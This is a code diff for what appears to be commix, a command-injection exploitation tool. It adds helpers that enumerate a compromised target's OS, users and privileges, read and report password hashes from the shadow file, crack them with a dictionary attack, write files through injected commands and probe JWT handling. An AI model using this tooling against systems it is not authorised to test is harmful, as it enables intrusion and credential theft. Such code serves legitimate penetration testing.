+Held per extraction rather than for the run, so it is handed to whatever is reading rather than
+kept in 'settings' - two outputs read one after another are not made of the same bytes.
+"""
+def new_observed_characters():
+ return {"frequency": {}, "count": 0, "lock": threading.Lock()}
+
+"""
+One more byte of the output, now that it is known.
+"""
+def record_observed_character(seen, ordinal):
+ if ordinal is None:
+ return
+ with seen["lock"]:
+ seen["frequency"][ordinal] = seen["frequency"].get(ordinal, 0) + 1
+ seen["count"] = seen["count"] + 1
+
+"""
+The bytes seen so far, where halving them says more than halving the pool - which it does once
+enough of them have answered to be worth generalising from, while the set is still the smaller of
+the two, and while the output is repeating itself enough for the guess to be worth its cost.
+
+Nothing read from here is believed on its own: every technique asking confirms what it finds with
+an equality question of its own, so a guess that was wrong costs that question and no correctness.
+
+The lock is for '--threads', which has several positions being read at once.
+"""
+def narrowed_characters(seen):
+ with seen["lock"]:
+ if (seen["count"] < settings.NARROWING_MIN_OBSERVED
+ or len(seen["frequency"]) > settings.NARROWING_MAX_SET_SIZE
+ or seen["count"] < len(seen["frequency"]) * settings.NARROWING_MIN_REPEAT_RATIO):
+ return None
+ return sorted(seen["frequency"])
+
+"""
+Generate a character pool for time‑related command injection techniques
+"""
+"""
+A command written into a cmd.exe payload, with the one character that shell reads as its own left
+as the command's.
+
+cmd.exe takes a '^' for its own escape and drops it, so a command carrying one ran without it and
+what came back was reported as the command's own answer: 'echo a^b' arrived as 'ab', which is a
+wrong answer rather than a missing one. Doubled, it reaches the command as the character it was -
+measured against a cmd.exe, one doubling is exactly what a single pass of its unescaping takes off,
+and a command carrying none is untouched.
+
+Not done where a script is rewriting the payload: the one that spells a payload in carets collapses
+a double back to a single, which would undo this and leave the command shorter than it was written.
+"""
+def caret_escaped(cmd):
+ if any(settings.TAMPER_SCRIPTS.values()):
+ return cmd
+ return cmd.replace(settings.WIN_ESCAPE, settings.WIN_ESCAPE * 2)
+
+def generate_char_pool(num_of_chars):
+ if menu.options.charset:
+ return [ord(c) for c in menu.options.charset]
+
+ if num_of_chars == 1:
+ return list(settings.CHAR_POOL_SINGLE)
+
+ return list(settings.CHAR_POOL_MULTI)
+
+"""
+Print powershell version
+"""
+def print_ps_version(ps_version, filename, newline_first):
+ ps_version = "".join(str(p) for p in ps_version).strip()
+ if settings.VERBOSITY_LEVEL == 0 and newline_first:
+ settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
+ # A version has a number in it, so an answer without one means the command never ran. Taken as a
+ # version it leaves PowerShell marked as available, and every payload needing it quietly weakens.
+ if not re.search(r"\d", ps_version):
+ warn_msg = "Failed to identify the version of Powershell, "
+ warn_msg += "which means some payloads or injection techniques may fail."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ settings.PS_ENABLED = False
+ ps_check_failed()
+ return
+ settings.PS_ENABLED = True
+ # Output PowerShell's version number
+ info_msg = "Powershell version: " + ps_version
+ settings.print_data_to_stdout(settings.print_retrieved_data("Powershell version", ps_version))
+ logs.add_line(filename, info_msg, group="info")
+ logs.report_set_info("powershell_version", ps_version)
+
+"""
+Print hostname
+"""
+def print_hostname(shell, filename, newline_first):
+ if shell:
+ if settings.VERBOSITY_LEVEL == 0 and newline_first:
+ settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
+ info_msg = "Hostname: " + str(shell)
+ settings.print_data_to_stdout(settings.print_retrieved_data("Hostname", shell))
+ logs.add_line(filename, info_msg, group="info")
+ logs.report_set_info("hostname", str(shell))
+ else:
+ warn_msg = "Failed to identify the hostname."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+
+"""
+Print current user info
+"""
+def print_current_user(cu_account, filename, newline_first):
+ if cu_account:
+ if settings.VERBOSITY_LEVEL == 0 and newline_first:
+ settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
+ info_msg = "Current user: " + str(cu_account)
+ settings.print_data_to_stdout(settings.print_retrieved_data("Current user", cu_account))
+ logs.add_line(filename, info_msg, group="info")
+ logs.report_set_info("current_user", str(cu_account))
+ else:
+ warn_msg = "Failed to fetch the current user."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+
+"""
+Print current user privs
+"""
+def print_current_user_privs(shell, filename, newline_first):
+ priv = "True"
+ if (settings.TARGET_OS == settings.OS.WINDOWS and not "Admin" in shell) or \
+ (settings.TARGET_OS != settings.OS.WINDOWS and shell != "0"):
+ priv = "False"
+
+ if settings.VERBOSITY_LEVEL == 0 and newline_first:
+ settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
+
+ info_msg = "Current user has elevated privileges: " + str(priv)
+ settings.print_data_to_stdout(settings.print_retrieved_data("Current user has elevated privileges", priv, quoted=False))
+ logs.add_line(filename, info_msg, group="info")
+ logs.report_set_info("current_user_elevated_privileges", priv == "True")
+"""
+Print OS info
+"""
+def print_os_info(target_os, target_arch, filename, newline_first):
+ if target_os and target_arch:
+ if settings.VERBOSITY_LEVEL == 0 and newline_first:
+ settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
+ info_msg = "Operating system: " + str(target_os) + settings.SINGLE_WHITESPACE + str(target_arch)
+ settings.print_data_to_stdout(settings.print_retrieved_data("Operating system", str(target_os) + settings.SINGLE_WHITESPACE + str(target_arch)))
+ logs.add_line(filename, info_msg, group="info")
+ logs.report_set_info("operating_system", str(target_os) + settings.SINGLE_WHITESPACE + str(target_arch))
+ else:
+ warn_msg = "Failed to fetch target operating system information."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+
+"""
+Whether this technique reads its answer a piece at a time, rather than off the response it already has.
+
+What it costs is what makes it worth naming: a value read this way spends a length and a byte for
+every character, and several of them asked for in a row are otherwise a run of identical lines with
+nothing to say which value each one is working on.
+"""
+def incremental_retrieval(technique):
+ return technique in (settings.INJECTION_TECHNIQUE.BOOLEAN_BASED,
+ settings.INJECTION_TECHNIQUE.TIME_BASED,
+ settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED)
+
+"""
+Print enumeration info msgs
+"""
+class print_enumenation():
+ # What is about to be asked of the target, named the way the answer will be labelled.
+ def _fetching(self, what):
+ settings.print_data_to_stdout(settings.print_info_msg("Fetching the " + what + "."))
+
+ # One of several values behind a single heading, named only where each is fetched separately.
+ def fetching_part(self, what, technique):
+ if incremental_retrieval(technique):
+ self._fetching(what)
+
+ # Say the powershell version is being fetched.
+ def ps_version_msg(self):
+ self._fetching("powershell version")
+
+ # Say the hostname is being fetched.
+ def hostname_msg(self):
+ self._fetching("hostname")
+
+ # Say the current user is being fetched.
+ def current_user_msg(self):
+ self._fetching("current user")
+
+ # Say the current user's privileges are being fetched.
+ def check_privs_msg(self):
+ self._fetching("current user's privileges")
+
+ # Say the target operating system is being fetched.
+ def os_info_msg(self):
+ self._fetching("target operating system")
+
+ # Say the operating system users are being fetched.
+ def print_users_msg(self):
+ self._fetching("operating system users")
+
+ # Say the users' password hashes are being fetched.
+ def print_passes_msg(self):
+ self._fetching("operating system users' password hashes")
+
+ # Not a fetch: the command is the user's own, and it is named rather than described.
+ def print_single_os_cmd_msg(self, cmd):
+ info_msg = "Executing operating system command: '" + cmd + "'."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+
+"""
+Classify a uid into a human-readable privilege label, mirroring '/etc/passwd' conventions.
+"""
+def classify_uid(uid):
+ uid = int(uid)
+ if uid == 0:
+ return "root user"
+ elif 0 < uid < 99:
+ return "system user"
+ elif 99 <= uid <= 65534:
+ if uid in (99, 60001, 65534):
+ return "anonymous user"
+ elif uid == 60002:
+ return "non-trusted user"
+ else:
+ return "regular user"
+ return ""
+
+"""
+Print users enumeration: a bare '* name' list, plus a per-user privileges section when requested.
+"""
+def print_users(sys_users, filename, newline_first, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter):
+
+ # Windows users enumeration.
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ try:
+ denied = any(phrase.lower() in str(sys_users).lower() for phrase in settings.WIN_ACCESS_DENIED)
+ if sys_users and not denied:
+ sys_users = "".join(str(p) for p in sys_users).strip()
+ sys_users_list = re.findall(r"(.*)", sys_users)
+ sys_users_list = "".join(str(p) for p in sys_users_list).strip()
+ sys_users_list = ' '.join(sys_users_list.split())
+ sys_users_list = sys_users_list.split()
+ # Output that parsed to nothing is not a list of users, and saying nothing at all about it
+ # reads as though the enumeration had simply found none.
+ if len(sys_users_list) == 0:
+ no_user_enumeration_permission()
+ else:
+ if settings.VERBOSITY_LEVEL == 0 and newline_first:
+ settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
+ info_msg = "Operating system"
+ info_msg += " user" + ('s', '')[len(sys_users_list) == 1]
+ info_msg += " [" + str(len(sys_users_list)) + "]:"
+ settings.print_data_to_stdout(info_msg)
+ logs.add_line(filename, info_msg, group="users")
+ for name in sys_users_list:
+ user_line = "[*] '" + name + "'"
+ settings.print_data_to_stdout(user_line)
+ logs.add_line(filename, user_line, group="users")
+ logs.report_add_enumeration("users", name)
+ else:
+ no_user_enumeration_permission()
+ except TypeError:
+ pass
+ except IndexError:
+ no_user_enumeration_permission()
+ pass
+
+ # Unix-like users enumeration.
+ else:
+ try:
+ if sys_users:
+ sys_users = "".join(str(p) for p in sys_users).strip()
+ if len(sys_users.split(settings.SINGLE_WHITESPACE)) <= 1 :
+ sys_users = sys_users.split(settings.END_LINE.LF)
+ else:
+ sys_users = sys_users.split(settings.SINGLE_WHITESPACE)
+ # Check for appropriate '/etc/passwd' format.
+ if len(sys_users) % 3 != 0 :
+ warn_msg = "It seems '" + settings.PASSWD_FILE + "' file is "
+ warn_msg += "not in the appropriate format. Thus, exporting it as a text file."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ sys_users = " ".join(str(p) for p in sys_users).strip()
+ settings.print_data_to_stdout(sys_users)
+ logs.add_line(filename, " " + sys_users, group="users")
+ else:
+ sys_users_list = []
+ for user in range(0, len(sys_users), 3):
+ sys_users_list.append(sys_users[user : user + 3])
+ if len(sys_users_list) != 0 :
+ if settings.VERBOSITY_LEVEL == 0 and newline_first:
+ settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
+ info_msg = "Operating system"
+ info_msg += " user" + ('s', '')[len(sys_users_list) == 1]
+ info_msg += " [" + str(len(sys_users_list)) + "]:"
+ settings.print_data_to_stdout(info_msg)
+ logs.add_line(filename, info_msg, group="users")
+
+ parsed_users = []
+ count = 0
+ for user in range(0, len(sys_users_list)):
+ entry = ":".join(str(p) for p in sys_users_list[user])
+ count = count + 1
+ fields = entry.split(":")
+ try:
+ if not fields[2].startswith("/"):
+ raise ValueError()
+ parsed_users.append((fields[0], fields[1], fields[2]))
+ logs.report_add_enumeration("users", fields[0])
+ except ValueError:
+ if count == 1 :
+ warn_msg = "It seems '" + settings.PASSWD_FILE + "' file is not in the "
+ warn_msg += "appropriate format. Thus, exporting it as a text file."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ raw_line = " ".join(str(p) for p in fields)
+ settings.print_data_to_stdout(raw_line)
+ logs.add_line(filename, " " + raw_line, group="users")
+ if parsed_users:
+ for name, _, _ in parsed_users:
+ user_line = "[*] '" + name + "'"
+ settings.print_data_to_stdout(user_line)
+ logs.add_line(filename, user_line, group="users")
+
+ # Per-user privileges, only when explicitly requested.
+ if menu.options.privileges and parsed_users:
+ fetch_msg = "Fetching the operating system users' privileges."
+ settings.print_data_to_stdout(settings.print_info_msg(fetch_msg))
+ info_msg = "Operating system"
+ info_msg += " user" + ('s', '')[len(parsed_users) == 1]
+ info_msg += "' privileges [" + str(len(parsed_users)) + "]:"
+ settings.print_data_to_stdout(info_msg)
+ logs.add_line(filename, info_msg, group="privileges")
+ table_rows = []
+ for name, uid, homedir in parsed_users:
+ label = classify_uid(uid)
+ privileged = int(uid) == 0
+ logs.report_add_enumeration("privileges", {"name": name, "uid": uid, "home_directory": homedir, "type": label, "privileged": privileged})
+ table_rows.append([name, uid, homedir, privileged])
+ privileges_table = settings.render_table(["Username", "UID", "Home Directory", "Privileged"], table_rows)
+ settings.print_data_to_stdout(privileges_table)
+ logs.add_line(filename, privileges_table, group="privileges")
+ else:
+ warn_msg = "It seems you do not have permission "
+ warn_msg += "to read the contents of the file '" + settings.PASSWD_FILE + "'."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ except TypeError:
+ pass
+ except IndexError:
+ warn_msg = "Some kind of WAF/IPS probably blocks the attempt to read '"
+ warn_msg += settings.PASSWD_FILE + "' to enumerate operating system users."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ pass
+
+"""
+Print users enumeration.
+"""
+def print_passes(sys_passes, filename, newline_first, interpreter):
+ if sys_passes:
+ sys_passes = "".join(str(p) for p in sys_passes).strip()
+ sys_passes = sys_passes.replace(settings.SINGLE_WHITESPACE, settings.END_LINE.LF).split()
+ if len(sys_passes) != 0 :
+ if settings.VERBOSITY_LEVEL == 0 and newline_first:
+ settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
+ """
+ Worked out before the count is announced. Most accounts carry no hash - a '*' or a '!' where
+ one would be - and those lines are not printed, so counting every line read gave a heading of
+ forty-five above a list of two.
+ """
+ usable = []
+ malformed = False
+ for line in sys_passes:
+ fields = line.split(":") if ":" in line else []
+ if len(fields) < 2:
+ malformed = malformed or bool(line)
+ continue
+ if "*" not in fields[1] and "!" not in fields[1] and fields[1] != "":
+ usable.append((fields[0], fields[1]))
+ if malformed:
+ warn_msg = "It seems '" + settings.SHADOW_FILE + "' file is not "
+ warn_msg += "in the appropriate format. Thus, exporting it as a text file."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ info_msg = "Operating system"
+ info_msg += " user" + ('s', '')[len(usable) == 1]
+ info_msg += " password hashes [" + str(len(usable)) + "]:"
+ settings.print_data_to_stdout(info_msg)
+ logs.add_line(filename, info_msg, group="passwords")
+ for username, digest in usable:
+ logs.report_add_enumeration("passwords", {"username": username, "hash": digest})
+ user_line = "[*] " + username + " [1]:"
+ hash_line = " password hash: " + digest
+ settings.print_data_to_stdout(user_line)
+ settings.print_data_to_stdout(hash_line)
+ logs.add_line(filename, user_line, group="passwords")
+ logs.add_line(filename, hash_line, group="passwords")
+ crack_passwords(usable, filename)
+ else:
+ warn_msg = "Unable to retrieve the password hashes for the operating system users."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ else:
+ warn_msg = "Unable to retrieve the password hashes for the operating system users."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+
+"""
+Write the recognized hashes to a local temporary file, 'user:hash' one per line, the same way the
+dictionary attack below is about to read a wordlist - something to hand a dedicated tool instead.
+"""
+def store_hashes_to_file(usable):
+ handle, path = tempfile.mkstemp(prefix=settings.APPLICATION, suffix=".txt")
+ with os.fdopen(handle, "w") as f:
+ for username, digest in usable:
+ f.write(username + ":" + digest + settings.END_LINE.LF)
+ info_msg = "Writing hashes to a temporary file '" + path + "'."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ modes = sorted(set(crypt_algos.hashcat_mode(crypt_algos.recognize(digest)) for _, digest in usable) - {None})
+ if modes:
+ info_msg = "The stored hashes can be cracked with a dedicated tool (e.g. "
+ info_msg += ", ".join("'hashcat -m " + str(mode) + "'" for mode in modes) + ")."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+
+"""
+Which dictionary file the attack below reads its candidate words from - the bundled one by
+default, or a path of the user's own.
+"""
+def choose_wordlist():
+ # Printed, not folded into the input() prompt below - see the matching note in
+ # choose_web_root_candidates().
+ question = "What dictionary do you want to use?"
+ options = (
+ "[1] Default dictionary file '" + settings.PASSWORDS_TXT_FILE + "' (press Enter)",
+ "[2] Custom dictionary file",
+ )
+ settings.print_data_to_stdout(Style.BRIGHT + question + Style.RESET_ALL)
+ for option in options:
+ settings.print_data_to_stdout(Style.BRIGHT + option + Style.RESET_ALL)
+ choice = resolve_menu_choice(question + " " + " ".join(options), "> ", "1")
+ if choice == "2":
+ path = common.read_input("What's the custom dictionary's location? ", default="", check_batch=True)
+ if path and os.path.isfile(path):
+ return path
+ warn_msg = "The specified dictionary file was not found. Using the default dictionary instead."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ return settings.PASSWORDS_TXT_FILE
+
+"""
+Dictionary-based attack against the password hashes '--passwords' just retrieved - offered the same
+way and in the same order every time: store to a file first, then (by default) crack, choose a
+dictionary, optionally add common suffixes, then try every word (plus suffix) against every hash of
+a format commix can compute, word-major so one pass serves every hash sharing that format at once.
+"""
+def crack_passwords(usable, filename):
+ if not usable:
+ return
+
+ store_msg = "Do you want to store hashes to a temporary file for eventual further processing with other tools? [y/N] "
+ if common.read_input(store_msg, default="N", check_batch=True) in settings.CHOICE_YES:
+ store_hashes_to_file(usable)
+
+ # Defaults to skipping under '--batch' on a bulk scan - a dictionary attack repeated unattended
+ # over every target in a list is a cost worth asking about, not assuming, the way a single run is.
+ crack_default = "N" if settings.MULTI_TARGETS else "Y"
+ crack_msg = "Do you want to crack them via a dictionary-based attack? [" + ("y/N" if settings.MULTI_TARGETS else "Y/n") + "] "
+ if common.read_input(crack_msg, default=crack_default, check_batch=True) not in settings.CHOICE_YES:
+ return
+
+ recognized = {}
+ unsupported = set()
+ for username, digest in usable:
+ fmt = crypt_algos.recognize(digest)
+ if fmt is None:
+ continue
+ if fmt in crypt_algos.CRACKABLE:
+ recognized.setdefault(fmt, []).append((username, digest))
+ else:
+ unsupported.add(fmt)
+
+ if unsupported:
+ for fmt in sorted(unsupported):
+ mode = crypt_algos.hashcat_mode(fmt)
+ warn_msg = "A '" + fmt + "' hash was found that cannot be cracked with the built-in dictionary attack"
+ warn_msg += (" (use e.g. 'hashcat -m " + str(mode) + "')") if mode else ""
+ warn_msg += "."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+
+ if not recognized:
+ warn_msg = "No clear password(s) found."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ return
+
+ for fmt in recognized:
+ info_msg = "Using hash method '" + fmt + "'."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+
+ wordlist_path = choose_wordlist()
+ words = common.load_list_from_file(wordlist_path, "wordlist")
+
+ suffixes = [""]
+ suffix_msg = "Do you want to use common password suffixes? (slow!) [y/N] "
+ if common.read_input(suffix_msg, default="N", check_batch=True) in settings.CHOICE_YES:
+ suffixes += list(settings.COMMON_PASSWORD_SUFFIXES)
+
+ cracked = {}
+ for fmt, items in recognized.items():
+ pending = list(items)
+ info_msg = "Starting dictionary-based cracking ('" + fmt + "')."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ tried = 0
+ for suffix in suffixes:
+ if not pending:
+ break
+ for word in words:
+ if not pending:
+ break
+ candidate = word + suffix
+ tried += 1
+ if settings.VERBOSITY_LEVEL == 0 and tried % 15 == 0:
+ settings.print_data_to_stdout(".")
+ for item in list(pending):
+ username, digest = item
+ if crypt_algos.crack_candidate(digest, candidate):
+ cracked[item] = candidate
+ pending.remove(item)
+ info_msg = "Cracked password '" + candidate + "' for user '" + username + "'."
+ settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_bold_info_msg(info_msg))
+ settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
+
+ if cracked:
+ info_msg = "Cracked " + str(len(cracked)) + " password" + ('s', '')[len(cracked) == 1] + ":"
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ for (username, digest), password in cracked.items():
+ user_line = "[*] " + username + " [1]:"
+ hash_line = " password hash: " + digest
+ pass_line = " clear-text password: " + password
+ settings.print_data_to_stdout(user_line)
+ settings.print_data_to_stdout(hash_line)
+ settings.print_data_to_stdout(pass_line)
+ logs.add_line(filename, user_line, group="passwords")
+ logs.add_line(filename, hash_line, group="passwords")
+ logs.add_line(filename, pass_line, group="passwords")
+ logs.report_add_enumeration("passwords", {"username": username, "hash": digest, "password": password})
+ else:
+ warn_msg = "No clear password(s) found."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+
+"""
+Run the standard enumeration checks via the given execute_cmd(cmd) -> output callback - the shared logic behind any module's own enumeration entry point (see shellshock.py).
+"""
+def run_enumeration(execute_cmd, filename, url):
+ ran = False
+
+ if menu.options.sys_info:
+ ran = True
+ print_enumenation().os_info_msg()
+ target_os = execute_cmd(settings.RECOGNISE_OS)
+ target_arch = None
+ if target_os:
+ # Only a Linux kernel has a distribution name to add to it, the way 'system_information()'
+ # reads the two apart. The architecture, and the answer itself, belong to every kernel alike -
+ # asked for inside that name, a target answering anything else ('Darwin', 'FreeBSD', 'SunOS')
+ # had its architecture left unread and nothing said about it at all, not even that the fetch
+ # had failed.
+ if target_os == "Linux":
+ distro_name = execute_cmd(settings.DISTRO_INFO)
+ if distro_name:
+ target_os = target_os + settings.SINGLE_WHITESPACE + distro_name
+ target_arch = execute_cmd(settings.RECOGNISE_HP)
+ set_target_arch(target_arch)
+ print_os_info(target_os, target_arch, filename, False)
+
+ if menu.options.current_user:
+ ran = True
+ print_enumenation().current_user_msg()
+ shell = execute_cmd(settings.CURRENT_USER)
+ if shell:
+ print_current_user(shell, filename, False)
+
+ if menu.options.hostname:
+ ran = True
+ print_enumenation().hostname_msg()
+ shell = execute_cmd(settings.HOSTNAME)
+ if shell:
+ print_hostname(shell, filename, False)
+
+ if menu.options.is_root:
+ ran = True
+ print_enumenation().check_privs_msg()
+ cmd = remove_parenthesis(''.join(re.findall(r"\$(.*)", settings.IS_ROOT)))
+ shell = execute_cmd(cmd)
+ if shell:
+ print_current_user_privs(shell, filename, False)
+
+ if menu.options.users:
+ ran = True
+ print_enumenation().print_users_msg()
+ cmd = remove_command_substitution(settings.SYS_USERS)
+ shell = execute_cmd(cmd)
+ if shell:
+ print_users(shell, filename, False, None, None, cmd, None, None, None, None, url, None, interpreter=False)
+
+ if menu.options.passwords:
+ ran = True
+ print_enumenation().print_passes_msg()
+ cmd = remove_command_substitution(settings.SYS_PASSES)
+ shell = execute_cmd(cmd)
+ if shell:
+ print_passes(shell, filename, False, interpreter=False)
+
+ if ran:
+ settings.ENUMERATION_DONE = True
+
+"""
+Run the single --os-cmd execution via the given execute_cmd(cmd) -> output callback.
+"""
+def run_single_os_cmd(execute_cmd, filename):
+ cmd = menu.options.os_cmd
+ print_enumenation().print_single_os_cmd_msg(cmd)
+ shell = execute_cmd(cmd)
+ print_single_os_cmd(cmd, shell, filename)
+
+"""
+Print single OS command
+"""
+def print_single_os_cmd(cmd, output, filename):
+ # One character is an answer too - 'echo A' was reported as having returned nothing.
+ if len(output) > 0:
+ settings.print_data_to_stdout(settings.print_retrieved_data("Execution output", output))
+ logs.executed_command(filename, cmd, output)
+ else:
+ err_msg = common.invalid_cmd_output(cmd)
+ settings.print_data_to_stdout(settings.print_error_msg(err_msg))
+ if menu.options.abort_on_empty:
+ raise SystemExit(settings.EXIT_FAILURE)
+
+"""
+Quote provided cmd
+"""
+def quoted_cmd(cmd):
+ cmd = "\"" + cmd + "\""
+ return cmd
+
+"""
+Escape file content for a double-quoted "printf" argument.
+"""
+def escape_file_content(content):
+ content = content.replace("\\", "\\\\")
+ content = content.replace("\"", "\\\"")
+ content = content.replace("$", "\\$")
+ content = content.replace("`", "\\`")
+ content = content.replace("%", "%%")
+ content = content.replace(settings.END_LINE.LF, "\\n")
+ return content
+
+"""
+Add new "cmd /c"
+"""
+def add_new_cmd(cmd):
+ cmd = "cmd /c " + cmd
+ return cmd
+
+"""
+Escape single quoted cmd
+"""
+def escape_single_quoted_cmd(cmd):
+ cmd = cmd.replace("'","\\'")
+ return cmd
+
+"""
+Find filename
+"""
+def find_filename(dest_to_write, content):
+ norm_dest = dest_to_write.replace("\\", "/")
+ dirpath = os.path.dirname(norm_dest)
+ fname = norm_dest
+ tmp_fname = (dirpath + "/" if dirpath else "") + os.path.basename(norm_dest) + "_tmp"
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ cmd = settings.WIN_FILE_WRITE_OPERATOR + tmp_fname.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + "'" + content + "'"
+ else:
+ cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + tmp_fname
+ return fname, tmp_fname, cmd
+
+"""
+Decode base 64 encoding
+"""
+def win_decode_b64_enc(fname, tmp_fname):
+ cmd = settings.CERTUTIL_DECODE_CMD + tmp_fname.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + fname.replace("\\","\\\\")
+ return cmd
+
+"""
+Add command substitution on provided command
+"""
+def add_command_substitution(cmd):
+ cmd = "echo $(" + cmd + ")"
+ return cmd
+
+"""
+Remove command substitution on provided command
+"""
+def remove_command_substitution(cmd):
+ cmd = cmd.replace("echo $(", "").replace(")", "")
+ return cmd
+
+# The command with its brackets taken out, where the carrier cannot hold them.
+def remove_parenthesis(cmd):
+ cmd = cmd.replace("(", "").replace(")", "")
+ return cmd
+
+"""
+Write the file content
+"""
+def write_content(content, dest_to_write):
+ content = quoted_cmd(content)
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ cmd = settings.WIN_FILE_WRITE_OPERATOR + dest_to_write.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + "'" + content + "'"
+ else:
+ cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + quoted_cmd(dest_to_write)
+ return cmd
+
+"""
+Delete filename
+"""
+def delete_tmp(tmp_fname):
+ cmd = settings.WIN_DEL + tmp_fname.replace("\\","\\\\")
+ return cmd
+
+"""
+Check if file exists.
+"""
+def check_file(remote_file_path):
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ cmd = settings.FILE_LIST_WIN + remote_file_path.replace("\\","\\\\")
+ else:
+ cmd = settings.FILE_LIST + quoted_cmd(remote_file_path)
+ cmd = add_command_substitution(cmd)
+ return cmd
+
+"""
+The '--common-files' candidate paths, filtered to the ones shaped for the target's own OS - a
+drive-letter path is never tried on a Unix-like target, nor an absolute Unix one on Windows.
+"""
+def common_files_candidates():
+ try:
+ with open(settings.COMMON_FILES_LIST, "r", encoding=settings.DEFAULT_CODEC) as candidates:
+ lines = [line.strip() for line in candidates if line.strip() and not line.startswith("#")]
+ except IOError:
+ return []
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ return [path for path in lines if re.match(r"^[A-Za-z]:[\\/]", path)]
+ return [path for path in lines if path.startswith("/")]
+
+"""
+Whether 'check_file()' says the path exists - 'Test-Path' answers in words ('True'/'False'), which
+'if shell:' alone would read as existing either way, so the word itself is what is compared here.
+"""
+def path_exists_on_target(shell):
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ return str(shell).strip() == "True"
+ return bool(shell)
+
+"""
+Report the '--common-files' findings.
+"""
+def print_common_files(found, filename):
+ if found:
+ info_msg = "Found " + str(len(found)) + " common file" + ('s', '')[len(found) == 1] + " on the target:"
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ for path in found:
+ file_line = "[*] '" + path + "'"
+ settings.print_data_to_stdout(file_line)
+ logs.add_line(filename, file_line, group="common-files")
+ logs.report_add_enumeration("common_files", path)
+ else:
+ info_msg = "None of the common files checked for were found on the target."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+
+"""
+Where in the request a token could be carried, each named as it is reported. Parameters first, then
+the headers - the same order the token is looked for in.
+"""
+def _jwt_carriers(url):
+ return (("GET parameter", url, None),
+ ("POST parameter", menu.options.data, "data"),
+ ("Cookie parameter", menu.options.cookie, "cookie"),
+ ("'Host' header", menu.options.host, "host"),
+ ("'Referer' header", menu.options.referer, "referer"),
+ ("'User-Agent' header", menu.options.agent, "agent"),
+ ("'Authorization' header", menu.options.auth_cred, "auth_cred"),
+ ("extra header", menu.options.header, "header"),
+ ("extra header", menu.options.headers, "headers"))
+
+"""
+The name of the parameter carrying this token, where it rides in one written 'name=value'.
+"""
+def _jwt_parameter(value, token):
+ value = value or ""
+ # A URL carries its parameters after the '?', and everything before it is not one of them.
+ if "?" in value:
+ value = value.split("?", 1)[1]
+ for pair in re.split(r"[&;]", value):
+ name, separator, carried = pair.strip().partition("=")
+ if separator and token in carried:
+ return name.strip()
+ return None
+
+"""
+The first token the request carries, with where it was found and the parameter carrying it.
+"""
+def _locate_jwt(url):
+ for where, value, option in _jwt_carriers(url):
+ for token in jwt_audit.find(value):
+ return where, token, _jwt_parameter(value, token), option
+ return None, None, None, None
+
+"""
+The page the target answers with when the token is this one, or None where the request did not come
+back. The carrier is put back exactly as it was either way - every other check reads it afterwards.
+"""
+def _jwt_page(url, http_request_method, option, token, replacement):
+ from src.core.requests import requests
+ restore = getattr(menu.options, option) if option else None
+ try:
+ if option:
+ setattr(menu.options, option, str(restore).replace(token, replacement))
+ target = url
+ else:
+ target = url.replace(token, replacement)
+ response = requests.crawler_request(target, http_request_method)
+ if response is None or isinstance(response, bool):
+ return None
+ return decode_page_body(response.read(), response)
+ except Exception:
+ return None
+ finally:
+ if option:
+ setattr(menu.options, option, restore)
+
+"""
+A way to tell a token the target accepted from one it refused, or None where it answers both alike.
+
+Asked with something that is not a token at all, rather than with a token whose signature is wrong:
+a target that refuses the first but takes the second is exactly the target worth reporting, and
+building the oracle out of a wrong signature would have called that target indistinguishable and
+said nothing about it. What this separates is a target that gates on the token from one that never
+reads it - and only where it does gate can an answer below mean anything.
+"""
+def _jwt_oracle(url, http_request_method, option, token):
+ accepted = _jwt_page(url, http_request_method, option, token, token)
+ if accepted is None:
+ return None
+ refused = _jwt_page(url, http_request_method, option, token, settings.JWT_NON_TOKEN)
+ if refused is None:
+ return None
+ if comparable_page(accepted) == comparable_page(refused):
+ return None
+ return comparable_page(accepted)
+
+"""
+Emit findings most-severe first. A finding that names something worth testing is marked a candidate,
